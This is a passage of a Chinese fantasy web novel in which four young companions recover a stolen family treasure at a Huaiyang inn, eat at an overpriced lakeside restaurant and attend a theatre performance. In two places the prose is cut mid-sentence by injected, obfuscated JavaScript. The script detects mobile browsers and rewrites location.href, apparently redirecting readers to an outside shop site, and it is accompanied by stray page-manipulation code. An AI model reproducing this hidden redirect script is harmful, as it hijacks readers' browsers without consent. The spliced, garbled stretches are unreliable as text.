炎煜朱靠近船沿,往水里打量,哪还有什么人影?“坏了,让他逃了!” 木弈轩担忧道:“听他们说起,芃丝尚不是宗首,便如此难对付,若宝物真是被他们盗去,凭我们能讨得回来吗?” 斯堪曼不以为然:“不过会几式蜃楼步,便觉着难对付?” 木弈轩略为惊讶,问道:“哎?那不是无相功?” 炎煜朱也问:“什么是蜃楼步?” 斯堪曼点头,道:“一门只需仔细听便可堪破的小把戏罢了,自然与《辉照》所载神通无法相媲美。” 页目向觉着好气又好笑,忍不住道:“你一路跟来总不会是为了《辉照》吧?怪不得要见我爷爷,我的确学的不全。” 本来只是句玩笑话,哪曾想斯堪曼正经问道:“那几时回家?” 页目向颇为惊讶,扯着嘴角喃喃道:“真被我猜中了?” 炎煜朱见状忙凑到斯堪曼身旁,附耳道:“曼哥,《辉照》不传外人的!” 斯堪曼白他一眼,严肃道:“不为《辉照》,是真心慕名想见页长老。” 页目向愈发觉着他真是为了《辉照》而来,反倒放宽了心,笑道:“我家失物三件,若都能找齐,我就能带你回去了。” 斯堪曼很干脆的点了点头。木弈轩本还疑虑页目向表白仓促,思索一阵忽然悟懂,招呼甲板风大,先进船舱。斯堪曼未往船顶上去,似要跟着一起进入船舱。 页目向疑惑地看了他一眼,话未问出,斯堪曼率先答道:“万一再有,总不好破窗而入。”说罢踏步走进舱室。 6. 秦淮篇-福来客栈 渡船靠岸淮阳城时,日下西山,染出一江金池水与漫天彩霞。他们刚出船舱,环顾四周:江流汇集于此,水面阔涨,大浪拍岸,声势磅礴,岸上连去白石长梯,高处红墙绿瓦,间有金光绿叶萦绕,蝶舞凤鸣相伴,风自江上生来,常有清远之意,蝉鸣同太阳一并没入水中,就此长日夏作了秋。 炎煜朱心生澎湃,振臂高呼:“现在天高主事远咯!” 四人下船,沿着石梯上去。页目向道:“先前山贼供说,他们是从南陵来,我们今日在城中找间旅舍住下,再作商议。” 木弈轩问:“就循着画卡人物去打听?” “只能如此,先前遇见的心生狐、芃丝,都有些魔怔,又是名人,或许能打探到有用的消息。” 斯堪曼道:“若查出他们其他违法乱纪的勾当,又该如何?” 页目向耸肩答道:“搜罗证据上报卫城厅处理就是,我们不过是来寻找失物的。” 木弈轩又问:“就算没错认七罪宗,又怎么能肯定是他们偷的?” 页目向无奈道:“爷爷既然如此说明,自有他的道理,否则大海捞针,也不必要来这一趟。” 斯堪曼问:“真要如此何时才能回舍源?” 炎煜朱心中窃喜,假装没听见,打岔道:“向哥,前面有间客栈!” 页目向正觅着旅舍,闻言也瞧见前处有面旌旗,写着福来客栈,指道:“就上那儿去住吧。” 众人来到福来客栈门口,头上牌匾相当讲究,篆字豪迈,不知出自哪位名家之手。踏过门槛,内里虽略显老旧,也算干净,两旁都有楼梯通往二楼,楼上走廊向里,围了十几间客室。楼下大厅置办桌席,边上还有几间厢房,柜台在大门一侧,旁边有道小门,进去是后厨内院。 掌柜是个精瘦的老头,带副小眼镜,留着两撇八字胡,头发梳的一丝不苟,齐齐往后捋。他待客并不热情,见着有客人上门也不招呼,等着页目向说要住店,才问要开多少间房。 页目向回头点过人数,似商量般答道:“两间吧?” 木弈轩笑说:“我自己还得占一间呢!” 页目向无奈道:“男生们打挤对付一晚罢,总归得节省些。” 炎煜朱在家与兄弟们睡得是通铺,自然不在意。见斯堪曼也点头应允,页目向欣慰地笑了笑,转身付钱,领了房牌,一起上楼去。 房间陈设布置也十分得体,只是有股闷味。页目向去开窗,忙叫二人:“你们快来看,望出去就是汉江,好风景呢!” 此时天边残阳薄亮赤红,云层翻涌金浪,卷起浪花几朵抛予月亮,背阳处染上青墨色,略施了些粉黛的娇艳。江上微风吹来,窗棂轻振,页目向与炎煜朱还在痴痴赏景,突地回头发现斯堪曼在那呆坐着。 页目向笑着招呼:“斯堪曼你快来,太阳不一阵就下去了。” 斯堪曼这才起身,没由的问了句:“舍源镇也有这般风景吗?” 页目向不解其意,答道:“舍源镇旁边倒是也有条亡川河,只是水面窄,难得见到这水天一色的壮阔景象。” “天空呢?” “晴日遇上火烧云,也是五彩缤纷。” 斯堪曼忽然情绪消沉,喃喃道:“原来天下风景也一样。” 页目向觉察其中暗藏故事,正想细问,突然听见楼下大厅哐啷作响,人声嘈杂,以为有人起了什么争执,忙起身出去查看。他开门见着面前还站着一个高大男子,燕颔虎须,膀大腰圆,也盯着楼下看,对面走廊也有几人在围观。隔壁房门虚掩一半,原来是木弈轩在听动静,见着页目向,彼此微笑互作示意。 页目向没看清底下人物,只瞧见一抹亮眼的红色,倚着栏杆才发现那是头发,顿时方寸大乱,急忙退回房间,关上房门,一脸难以置信,慌张道:“楼下来的人像是严离哥哥!” 炎煜朱惊叫一声,整个身体都跳了起来,仿佛如临大敌,团团急转,只往隐蔽角落找去。 “你说的可是天原少将军?”斯堪曼半掩开门缝,也向外看了一眼,“炎煜朱这是?” 页目向将其中关系与他说明,惴惴不安道:“我也不敢肯定,只瞧见他有一头亮眼的红发,就不敢仔细看了。” 炎煜朱央求道:“曼哥求你出去看一眼,若他是一身红,那我定逃不了!” 斯堪曼被他这狼狈样逗笑,点头答应,出去瞧了一眼便回来。 页目向替他关上房门,炎煜朱急问:“是他吗?” 斯堪曼道:“是你们要找的人。” 炎煜朱瘫坐在地上,急的仿佛要哭出来,忽然起身就要夺窗而去。 页目向先是稳住炎煜朱,他听见一个“找”字便已回味过来,掏出那叠画卡:“若是我们要找的人——是半战不是?” 斯堪曼似有意捉弄他,强压着笑意:“自然是他。” 炎煜朱一瞬间历经大喜大悲,心脏还怦怦直跳,未缓过劲,怒道:“你怎么能开这种玩笑!” 斯堪曼佯装无意,反问道:“你们难道要找将军吗?” 页目向严肃道:“别贫嘴了!七罪宗的人怎么会到这儿来?你可看仔细了?” 见斯堪曼点头确认,页目向再次走出房门,走廊上围满了人,却不见半战踪影。去问木弈轩,她也未了解全貌。边上壮汉听见二人谈话,帮忙解释:“先前大堂来了位大明星,手下抬着几十箱行李进客栈,不注意磕着了门槛,于是发了顿火气给掌柜看。掌柜也十分硬气,反倒给他一顿说教。兴许顾忌众目睽睽,大明星虽然嘴上不饶人,一直赌咒,却还肯派人送钱,说是修葺门槛花销,怪稀奇的。”他语调温柔,彬彬有礼,并不似面相那般粗鲁。 页目向笑道:“可能也是面恶心善吧。” 半战早回房间,众人陆续散去。堂下又进来一伙人,本无甚稀奇,页目向惊鸿一瞥,恰好落一副头冠上。页目向双目圆睁,手撑在护栏上,确认再三,此物正是绿翠甲,当即想下楼拿人。 斯堪曼悄无声息站在一旁,顺着他目光看去,便已明了,附耳道:“小心打草惊蛇。”页目向愈发用力抓握栏杆,长叹一口气才肯松手回屋。斯堪曼拍了拍木弈轩肩膀,示意进屋。 众人围坐一起,页目向懊恼道:“此刻在他手中,无论明抢暗夺,反倒显得我们更像贼人!” 炎煜朱不以为意:“这有什么,与他对峙,大不了送官。” 木弈轩解释道:“你忘了,卫城厅现在是万千去不得,烟婆婆指定与部门长官知会过,说不定他们手里还有你画像呢!” 页目向叹道:“就算送官,可怎么证明是我家失物?” 炎煜朱小声道:“不然偷偷去取回来?” 页目向摇头道:“若要去偷,不慎被发现,只消他大吼一声,我们才被反咬一口!” 木弈轩无奈道:“偏偏丢的物件不会说话认主,这可难了......” “认主?”页目向听她所言,心中忽然明朗,转忧为喜,“得亏你提醒了我!” 三人尚不知其意,页目向小声叙述,编排一出好戏让众人选角。 到人定入室鸟归巢时,炎煜朱忽然喊着遭贼了,一边跑出房门,绕着大堂大声呼喊,客人与伙计一齐出来,围在走廊边观望。掌柜最后才撩起后院门帘,姗姗来迟,皱眉问发生何事。 “掌柜老伯,我在您这儿遭贼了!”炎煜朱硬挤出几滴泪花,哭丧着脸,“我与哥哥姐姐一齐出来,是要往巴蜀府投奔亲戚的,随身携带了好几件家传宝贝。哥哥姐姐刚上街去置办礼物,留我一人照看行李。我嘴馋下来宵夜,就一会儿的功夫,再回去看,宝贝便没了!若让我家大人知道非得打死我不成!求求老伯帮忙做主!” 掌柜记性好,认出炎煜朱,便道:“老夫又不是卫官,你快去报官罢。” 页目向与木弈轩这时候假装归来,炎煜朱又开始哭诉,页目向举手就要掌掴,还被木弈轩像模像样地拦下,又开始央求老板帮忙。 木弈轩撒泼道:“东西始终在您这儿丢的,您也有个属地职责,若等着报官,指不定那贼早就远走高飞了!” 掌柜皱眉道:“我尚且不知你们失窃何物,如何你们找回?” 炎煜朱忙道:“我清点了行李,丢的是一件绿翠甲,一顶黄玉冠和一枚红晶石。” 掌柜道:“既然如此,你们想怎么办?” 此问正中炎煜朱下怀,他忙道:“我宵夜没花多久,一直在这大堂坐着,中途并无可疑人物进出。等我回去时,检查窗户紧闭,门廊也无人员走动,我想失物定是出不了客栈!” 掌柜已经明白几人何意,便道:“大堂后院你要搜便罢,若是客房你们得征询诸位意见。”他一边说着,一边看向二楼。 炎煜朱顺势哀求道:“哥哥、姐姐、叔叔、婶婶,实在非有意叨扰各位,失窃之物十分贵重,恳请大家陪同进屋验个明白,也好还大家清白!” 半战率先破口大骂:“你算个泥鳅,凭什么资格说我还我清白!” 旅客们皆议论纷纷,斯堪曼早混入其中,正要开口同意,却听得虎须大汉慷慨解围:“小兄弟也十分可怜,大伙都帮帮忙,就先搜我屋吧!” 几人惊讶之余,连声道谢,不过做做样子便退出房门。斯堪曼又想做那第二个开口同意之人,半战却抢先一步开门,虽嘴上仍不饶人,骂骂咧咧让几人进去。页目向也颇为意外,这七罪宗里似也有通情达理之人,几人详细找了找,却也没见其他两件失物,于是匆匆退出。连大明星都应允搜查,其余旅客也不好再多说什么。 象征性搜过几间,页目向走至那伙人跟前,见他们皆已换上便服,哭丧道:“怎么客栈里也没有,这可怎么是好!麻烦伯伯们领我进去吧。”其中一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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事发突然,页目向等人尚未明了局势,只见虎须壮汉挺身而出,掏出官牌,厉声道:“请住手!淮阳城卫官受命彻查此事!”潜伏卫官一齐上前,制住那伙人,押解起身。半战瞥了一眼卫官,仍高举着瘦削男子,卫官又重申一次,他才将那可怜虫扔在一旁,顺势又蹬了两脚,仿佛还不解气。 瘦削男子似受了莫大的委屈,眼泪鼻涕纵流一地,脸上青筋暴起,骂道:“你个披人皮的妖孽,扮鸡的豺狼!面上衣冠楚楚,背地里烧杀掠抢!没人生的畜生,竟还有人养!我只恨自己本事不够,对不起我那些个死去的弟兄!我就是早你一步死,也要做鬼带你赴黄泉!” 半战闻言大怒,握拳招呼他脸上,怒道:“拱粪的爬虫!我若不把你烧成灰难解我心头之恨!”好几个卫官一齐扑上,才拦住他。眼见瘦削男子要被带出门去,半战又朝楼下啐了口唾沫这才肯罢了。 见卫官要走,页目向顾不得许多,嘱咐道:“弈轩你收好绿翠甲,我得去问问那卫官!” “我随他一起。”斯堪曼说着,也跟上前去。 先前卫官亮出腰牌时,炎煜朱慌忙躲进后院,等卫官都走了,炎煜朱才敢探头,纳闷道:“我们演的好好的,怎么突然成了观众?” 木弈轩幽幽道:“总比半句台词都还没说的好。” 炎煜朱瞧见她正捧着绿翠甲,半开玩笑道:“轩姐,不如把绿翠甲藏起来,兴许能多玩几天!” 木弈轩敲了他一指,笑道:“那你怎么跟向哥解释?快别动这些歪脑筋了。” 炎煜朱嘴巴一瘪不再提议。 页目向跟在那位虎须卫官身后,急喊:“卫官先生!您等等!” 卫官听见声音,停步等他:“是你啊。还有什么事吗?” 页目向道:“我们失物一共三件,现在只找回其中一件,所以还想问问您押解这位......” 汉子叫嚣道:“都说是正经买卖得来的!臭栽赃的小崽子!” 卫官呵斥他一番,答道:“卫城厅自会查明下落,若有情况便会通知您!” “请问怎么联系您?” “下官张武,若有需要来卫城厅找我便是。我还得先押他们回卫城厅,暂且别过!” 闻言页目向只得作罢,返回客栈。见着斯堪曼跟来,无奈道:“果然不是七罪宗偷的。” 斯堪曼道:“至少失物复得一件。” “只希望卫官们能尽职调查,最好三件都在他们中。” 斯堪曼突然道:“你不像书中说的那样。” 页目向听他言辞凿凿,若有其事,好奇问道:“书中是怎么写我的?” 斯堪曼轻笑道:“又似是一样的。” 他总这般模棱两可,页目向这次不肯轻易饶他,追问道:“你非要仔细讲得明白,如此奇怪的书我可从来没见过!” “《社立》、《旭未央》、《自望浮生》、《夫渠道》......这样的书我总共看过二十七本。”他只是低声地说着那些书名,却仿佛有万千双眼睛正盯着他们,四周骤然死寂,页目向只觉得一股寒意窜上脊背,再也问不下去。 7. 秦淮篇-淮阳城中 二人返回客栈正朝着楼上走去,奇怪怎么没听得一点人声。进屋后面前桌上端着七杯茶,面门一边坐着三人,客栈掌柜也在,居右,另两个都是生面孔。木弈轩和炎煜朱规矩端坐两边,屏气息声。中间那人约莫三十几岁,是位真捉刀,剑眉星目,衣冠楚楚,见着页目向点头示意,道:“回来了?” 他们做惯了不拘礼节的山野孩子,突然这般正襟危坐反倒令页目向颇感诧异,问道:“您是?” 他端起茶碗,拂去茶沫,也未起身,笑说:“秦淮府府尹宫昌,见过页公子。” 页目向料想应该是爷爷安排接引的官员,这才想起要行礼。似乎听见斯堪曼说话:“此屋施了密音密室一类的封印术。”他好奇偏头去看斯堪曼,却并未见他张口。 此等小动作难逃宫昌的眼睛,他故意点破:“这位后生好厉害,年纪轻轻便习得密音神通。” 见他道破,斯堪曼皱眉,用肩肘击页目向。页目向慌着行礼不与他玩闹:“晚辈见过宫叔叔,不知您深夜到访是有什么急事?” “页长老来信提及小公子您到访秦淮寻找失物,我等一部荣亲,已是晚到为您接风洗尘。”他语气不似说得那般恭敬,手中茶杯从未放下过,“只是您的两位朋友似乎不信我,生了些误会。” 页目向不知发生何事,只能与木、炎二人互递眼色,赔笑道:“叔叔说笑了,他们并不知晓内情。” 宫昌又抿了口茶,笑说:“自然,凭着出身官乡,又能与您交往,怎会这般无礼?” 木弈轩和炎煜朱听了只能尴尬赔笑。斯堪曼冷声道:“您总不是来唠无聊家常的吧。” 宫昌看了斯堪曼一眼,终于肯放下茶盏,从口袋里取出四张票据,微笑道:“这位后生好聪明,我是来送请柬的。” 页目向问道:“是您要过寿吗?我仓皇出发,竟然忘了备下寿礼......” 宫昌这次是真笑:“我早不过寿了,这是秦淮府剧院的门票。”不容几人拒绝,宫昌已将杯中茶饮尽,起身道:“秦淮名角七罪宗会有三位出演,门票我先留这儿,还望诸位赏脸。”说罢与另一生面孔一齐走了,客栈掌柜则去送他们两个。 “宫叔叔慢走。”页目向将他送出客栈,返身询问其他三人:“你们说去还是不去?” 却说心生狐前来客栈寻找半战,他似乎认识秦淮六部官员,瞧见宫昌从福来客栈出来,忙躲在阴暗角落里观察,目送宫昌走远才溜进客栈,悄步闯入半战房间,得意洋洋道:“他芃丝也有今天!” 半战让他直言。心生狐乐津津道:“前不久我与他不是去巴蜀清理杂鱼?不曾想碰上块铁板,我骗他说对方容颜极好,他色胆包天一脚踢上去——反被一脚踹进水中,成了个落汤鸡!” 半战笑道:“ 好!可该他让多吃些苦头,不然我们白受了许多年气!” 心生狐对镜整理妆容:“我可不气,我只是瞧不惯他与墨本那副上等人做派!以前也就罢了,如今都是一样的身份,高傲什么?寄送行李,收拾残局全托给你,明日登台的又不止他俩!” 半战鄙夷道:“说得好听!若真逢上,你就连个屁都不敢放!我可事先告知,客栈里可有卫官,你不怕了?”心生狐闻言仓皇失措,摔门就要逃去。 半战嘲讽道:“你就是做了名角,也怕那帮臭官匪,窝囊!” “受灾的本就不是你!”心生狐撂下一句没头尾的话,风一般逃出客栈。 半战见他离去,心中骤然升起一股无名火,辗转反侧难以将息,突然拖出一木箱,抡起拳头砸了个稀巴烂,还不解气。他倒在床上长长短短吞吐恶气,突地又起来,把损毁木箱里的珍宝分塞进其他箱柜中。等再躺下仍是气息不畅,他便拿起木箱板,一节一节的抓个粉碎,折腾到凌晨才肯睡去。 再说回自宫昌走后,炎煜朱便嚷着不去赴约:“怎么能去?不过是地方府尹,抓着点东西耀武扬威的!” 原来宫昌先前来时,先遇上炎煜朱,以为他就是页目向,说了些吏部那边的客套话,偏偏炎煜朱听不懂,只当是什么骗子,要赶他们走,幸好掌柜前来说明情况,宫昌又及时拿出官碟,这才有了五人眼碌碌坐在一起的场面。 页目向道:“他估计受了我爷爷嘱托,抽空来接待我们,做些职责外的应付工作,也难免心有不满。” 炎煜朱委屈道:“我哪知道?他那些话文绉绉的,也不说明白,我还以为是主事派来的人呢!” 木弈轩先是安慰他几句,又问道:“向哥,你问清黄玉冠和红晶石的下落了么?” “卫官说若有情况会来告知,我就只好先回来了。明天再去续上几天房,暂时不去南陵了。” 木弈轩听说如此便道:“也是,七罪宗就没必要跟着了,一群怪人罢了。那宫府尹的邀约,我们还去么?” 斯堪曼不假思索道:“当然要去。” 炎煜朱难以置信,瞪大眼睛看着他:“曼哥,他都那样奚落你,你这是又何必?” 斯堪曼冲着页目向道:“我遭奚落是因为某个圣光体和光源聚都没学全的人在那儿大惊小怪。” 页目向也觉着委屈,气道:“事出突然你也没知会我一声,我觉着奇怪看你一眼怎么了?先前你提着七罪宗便一副厌恶的样子,他们出演的戏剧你反倒感兴趣了?” 斯堪曼偏过头去,佯装趴着睡着,不再理会页目向。 木弈轩见气氛尴尬,忙岔说:“今天见了半战,虽然咋咋呼呼,但比起心生狐与芃丝还蛮招喜的。” 炎煜朱并不认同,摇头道:“轩姐,我听三娘说过,你可莫要上这些人的当,这种空有皮相的浪荡痞子最是不值得。” 木弈轩也给了他一勺,道:“哪儿是那意思!只是我觉着半战虽然嘴巴不干净,但本性还算不坏,今天演出成功还要多亏了他。” 页目向听了打趣道:“我瞧芃丝也挺好,只是不检点,性格彬彬有礼,若只是寻花问柳就恰当得很。” 木弈轩气红了脸,骂道:“向哥!你说什么荤话呢!” “抱歉,是我失言,但我更觉得煜朱说的在理。今天众目睽睽之下,瞧着半战还算可喜,若不是卫官拦着,那小偷怕是要直接被扔下楼去。想来心生狐在台前若不主动犯人,说不定善妒一面还招人共情;芃丝在台前若不过分下流,只搔首弄姿,大有风流人喜欢。” 炎煜朱忙附和:“我就是这个意思,人前人后两张脸,怪不得能成角!” 木弈轩细想正是此理,于是摇头道:“那我更不能去看这剧了。” 斯堪曼半天没作声,页目向自知先前言重,于是敲了敲桌子,劝道:“你若真要想去,我陪你去吧。” 斯堪曼这才肯正眼相视:“一言为定。” 炎煜朱见说如此又是不肯:“明明说好不去,你们偏又要独自去了,那我也去!”木弈轩便也跟着改了口。 “行,大家一起去。”页目向忽然又想起一事,“那明天卫城厅?” 斯堪曼冷哼道:“行。”见他如此爽快,页目向也笑起来。 木弈轩见着晚了便也回自己屋去,炎煜朱转眼便一倒头躺床上了,页目向瞧着他笑说:“你得横着睡,竖着躺不下三个人。” 斯堪曼起身道:“你们躺着便是。”说罢抬头看了眼窗棂,身形一变,化作一只夜蝠倒挂其上。 页目向惊于其变化速度之快,打趣说道:“我都怀疑这才是你本相。” 夜蝠听了张开双翼扑了过来,朝页目向脖颈处咬了一口,又飞回窗棂悬挂。 页目向吃痛忙拿过镜子看有无见红,气道:“怎么还兴咬人!”也不敢惹他,叫醒炎煜朱去楼下洗漱了。 第二日斯堪曼从卫城厅回来时,另两人才刚起,页目向见他回来便问:“卫官怎么说?有其他两件失物的消息么?” 斯堪曼略有些不满,冷冷道:“说我去早了,还没有审。” 页目向先是骂了几句卫官懒政拖延,又试探问道:“要不下午再跑一趟?”斯堪曼并未搭腔,页目向当他默认,忙道:“也不着急,我们难得来趟淮阳城,先去玉湖转悠转悠,淮阳糕点颇有名气,尝尝新鲜!下午你陪我再去一趟。” 炎煜朱抢着说:“那太好了!家里长辈到秦淮,总要捎些柳叶糯米糍带给我,甜而不腻,好吃的很!” 正此时,木弈轩叩开房门走了进来。她提着裙摆,翩翩一转,道:“好不好看?”她着一色青绿纱裙,上面点缀着好些素色流苏,又披着一条乳白玫瑰褶皱的短袄,内里搭一件绣着丁香花纹的翠色小衫。她将头发绾成倾髻样式,单配几株素钗,行动如银杏招风枝头,梭梭作响,又配着这套行头精心拟了妆容,唇染秋枫,眉心点红,眼波处湖水微漾——好个玉玲珑! 炎煜朱嘴甜,赞叹道:“好漂亮,就是把名角都压下去了!” 页目向玩笑道:“差些没认出你,我还以为今晚该你登台表演!” 木弈轩被逗乐,笑道:“既然是要去赴宴,总不能蓬头垢面,失了礼节。” 页目向道:“剧场表演要等晚上,我们准备去玉湖附近逛逛,你这身行头我怕太招摇了些。” 木弈轩道:“向哥老说些泼冷水的话,就算去名胜游览,打扮得漂漂亮亮些又能生什么事呢?” 页目向笑道:“也对,那便趁早出发去玉湖吧!” 木弈轩合手笑道:“当然好!《淮阳赋》中讲‘揽川月复筑林海兮,盈盈青葱广大。平山岳没纳江河兮,漓漓怀顾东家。’描绘的就是玉湖之景!总算能亲眼一见。” 虽有千般美名,等临了玉湖,亦不过觉着是大些的池子,虽说青绿山水足够怡人,但带着那般期望的心情朝圣,反倒觉着风景与舍源无别。几人循着湖岸散步,忽然淅淅沥沥下起小雨。页目向瞧着不远处有幢酒楼,便提说去那避雨,顺便用个午饭。 酒楼挂着玉楼春的牌匾,里边装潢古色古香,以金玉点缀藻井,喻列星辰,凭湖石隔断屏风,纳志五州。几人待在门口,正犹豫进去,店里堂倌先来请人,领着大家坐下,先备上瓜果蜜饯,又命四五个伙计随侍一旁,还有一位专门行菜。几人拿过菜单翻了几页,脸色变得铁青,沉默不语。 玉湖盛名享誉天下,连通大江、汉江、襄水,虚号八百里。淮阳城凭居其西北一角,得利三江相会,物产富饶,南来北往交通便捷,兴盛千年不衰,当仁不让夺了秦淮首府!正因此,愈近玉湖处物价越昂贵,正所谓谷米卖出珍珠价,白菜比值玉石雕,杯水皆作琼浆饮,寸金怎能当寸土? 页目向少有出过远门,许二叔已是他所知投机倒把第一好手,哪晓得这里头的门道? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572384|187047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >炎煜朱嘀咕:“这怕是家黑店。” 木弈轩好不容易见着一道稍便宜的素菜,尴尬问道:“请问这‘清雨莲池’是道什么菜?” 行菜道:“是采玉湖中新鲜莲子,配取天上无根之水,经上一宿煲的靓汤。” 炎煜朱嘟囔道:“那不就是一碗清汤寡水莲子汤?”行菜听见也不恼,微笑不作声。 木弈轩翻了两页,又问:“‘凤毛麟角’又是什么?” 行菜耐心解释道:“是选用南洋运来的凤梨与南陵腹地的干果,小火久煨的粥羹。” 炎煜朱仍嘟囔道:“干果凤梨小米粥。”行菜仍是微笑不语。 页目向放下菜单,直截问道:“若是福珠不够,宝石收吗”只见他掀开衣角,从腰带上剜下一枚太阳石,摆在手心。宝石晶莹剔透,不含瑕疵,隐约闪烁七彩焰光,一眼便知是上品。木弈轩忙劝直接走了就是,不必如此浪费,页目向仍摆手明言无妨。 行菜不敢自作主张,说要去找掌柜,一会儿领着位斯文男人过来。掌柜满脸堆笑:“烦请客人给我们验过才好估价。”页目向将宝石递给他,他取出一块小圆镜,对着宝石来回把看,笑纹沟壑越发深纵,滑稽动作也多了起来,一会儿把宝石高高托起,一会儿又变出丝绒小心擦拭,正要把它收入口袋,忽然见着几人厌恶的眼神,才停了动作,笑道:“确实是太阳石!只是略有些瑕疵。”说罢还要指出来给众人确认。 页目向脸色不悦:“你估个价,扣去饭菜钱,差价抵作福珠还我们就是。”说罢让三人点餐。 木弈轩、炎煜朱各点了一道,斯堪曼未接过菜单,只说够了。 掌柜装模作样算了一笔,笑道:“合计该退您九千金福珠。” 炎煜朱骂道:“你到底识不识货?太阳石天下罕有,怎么才退这么点?” 掌柜忙道:“客人有所不知,太阳石不好流通,我们得再收您一笔手续费、一笔鉴证费,这才合规矩。” 木弈轩愤慨道:“你家一碗藕汤,一锅粥羹都要几百银,怎么太阳石要价那么便宜?” 掌柜正想解释,页目向摆手示意不必追究。掌柜忙松了口气,边赔笑边张罗服务生端上几箱金福珠,页目向打开验过后一齐收入乾坤袋中,掌柜则护着那颗太阳石,一转眼不见了踪影。 炎煜朱十分不解,气道:“向哥你何必助长小人志气,这分明就是家黑店!” 木弈轩埋怨道:“我不明白,你再清楚不过,何必甘愿上这个当?” 页目向解释说:“我本来想以此留证,日后与刑部揭发他们胡乱收费,但看他这般明目张胆,估计官府默许。我怕之后还有大笔开销,不如趁此正好换些福珠,补些盘缠,咱们只当是住进了许二叔的旅舍,糊涂上个当,图个祸兮福所伏罢。” 斯堪曼听了不禁失笑,悦声道:“书果真不欺我。” 他愈是这般频繁提及,页目向越是生疑,于是皱眉道:“我非要真见着这本书不可!” 斯堪曼较劲,道:“《舍源尽》存放于......”他忽觉嘴角刺痛,脸色一变不再叙说。页目向像是明白什么,见木弈轩和炎煜朱还要追问,替他打岔糊弄过去。 伙计们像是舞龙般把菜传上,单观其摆相确实精致,只是份量太少。炎煜朱以为当真有什么不同寻常处,夹上一口,皱眉道:“和我家食堂大师傅的手艺也没区别。” 木弈轩也尝了一口,附和道:“无非摆相特别些,吃不饱,真华而不实。” 页目向倒是豁达,劝道:“他只赚我们一次,权当施舍给他。” 炎煜朱心中不平,气道:“好不服气!我找他理论去!”正说着就要起身。 页目向忙拦住他,道:“就怕他们胡搅蛮缠!要是引来卫城厅可怎么好?” 炎煜朱仍蠢蠢欲动,怒道:“最好真被抓回家去,让他这店再也开不下去!” 木弈轩给页目向递了个眼色,也劝道:“不要紧,等回舍源后再凑颗太阳石还给向哥就是。”听说如此炎煜朱才肯安分,页目向也不想细究说法,免得又惹炎煜朱不快,便也应允。 斯堪曼幽幽道:“既非草寇反贼,却十分忌惮兵部,也是头一个。” 页目向打趣道:“这也没办法,所以只能劳烦您帮忙再去躺卫城厅。” 那两盘菜不经吃,几人凭着附赠的瓜果蜜饯才勉强吃饱。他们在玉楼春歇息一阵,页目向怕若再耽误,要错过剧场演出,于是先与斯堪曼离开,前往卫城厅。又嘱咐木弈轩记着提早去府剧院候着。 二人到达卫城厅,页目向仍让斯堪曼独自进去,他只在外边候着。不一会儿便见斯堪曼又走了出来,于是上前问道:“好迅速,可是有消息了?”见斯堪曼摇头,页目向又问:“是未审还是未审出。” 斯堪曼答:“说是未审。” “好些怠政的卫官!张卫官有答你何时开审吗?” 斯堪曼道:“他不在,其他卫官说是被宫府尹抽调走了,现在卫城厅暂缺人手,积压案子众多,无空审问。” “宫府尹?”页目向这才后知后觉,“怪不得,原来是这样!” 斯堪曼道:“他倒是不嫌麻烦,有话直说就是。” “估计是我爷爷的主意,我们先去剧院,问问他到底所为何事。”于是二人调头往府剧院赶去。 8. 秦淮篇-秦淮剧院 秦淮剧院地址玉湖东万国大街。页目向同斯堪曼赶到时,见其门前假山出泉,绿树繁茵,高墙圆立,颇为壮观。剧院是座环形石堡,城门高深,门洞并未打通,两壁各另有一道向上台阶,有专员看守,负责采票放行。 斯堪曼幽幽道:“怎么只有两个通道?”页目向不解其意,斯堪继续解释:“这类建筑形状是个大斗,上去直达后排,再往前迈下台阶。若不多设些楼道,一是通行不便拥挤,二是十分耗费石料。” 页目向想是此理,以为是当时建工思虑不周。 “还有怪事。”斯堪曼皱眉环顾四周,“这都临了演出,怎么才这几个人在这候着采票?”页目向也觉着奇怪,便去问那采票员。 “七罪宗的票,入场向来都得赶早,若是晚点错过什么不太可惜了些?观众如今都在看台上!”采票员看了二人一眼,颇有些嘲弄的意思,“你们现在才来,怕是只能贴在墙边听听声了。” 斯堪曼递过门票,道:“您先检票就是。” 采票员接过门票,只瞧了一眼,笑出一脸褶子,猛一抚掌,热情说道:“早说是义军楼的贵客!您自然不走这边!哎,您二位随我来!”说罢带着二人绕去背后。 途中页目向问他什么叫义军楼,采票员答道:“剧院后边有两处通道是给登台的名角们与您这样的贵宾走的,直通到戏台前。只因出口砌作角楼模样,得名义军楼与卫军楼。” “这名字可有什么说法?” “应该是有说法,但我也没考究。” 采票的把他二人送到角门口,说一直进去就是,转身走了。 页目向拍了拍斯堪曼肩膀,小声道:“你像知道是贵宾票。” 斯堪曼幽幽答道:“料想宫府尹不会亏待自己。” 两人出了义军楼通道,眼前是三尺高的戏台,左右布着幕帘,后边还有空间,应该是后台;旁边是观众看台,步步台阶累上,最高处离地竟有十丈。 木弈轩与炎煜朱就在近处坐着,瞧见二人总算赶到,忙举手示意。不久又进来两人,径直落座页目向左边,正是宫昌与其随从。页目向带头起身行礼,一阵寒暄后,试探着问起卫官查案一事。 宫昌故作惊讶道:“确有此事?耽误公子要事,赎罪赎罪。” 页目向忙道:“宫叔叔言重,只是......”没等他说完,戏台灯光突然亮起来,台下人声鼎沸,欢呼迎接。 宫昌道:“公子先看剧罢,待演出结束,下官亲自前往卫城厅督促他们办案。” 页目向欲言又止,只得无奈安坐。斯堪曼轻声嗤笑,惹来页目向怒瞪一眼。 台上烟雾缭绕,灯光闪烁,三位俊俏美男子粉墨登场,其中两位还是熟面孔,左边是半战,右边是芃丝,只有中间那位脸生,比对画卡,页目向认出他便是那位淮阳学宫高材生——墨本先生。 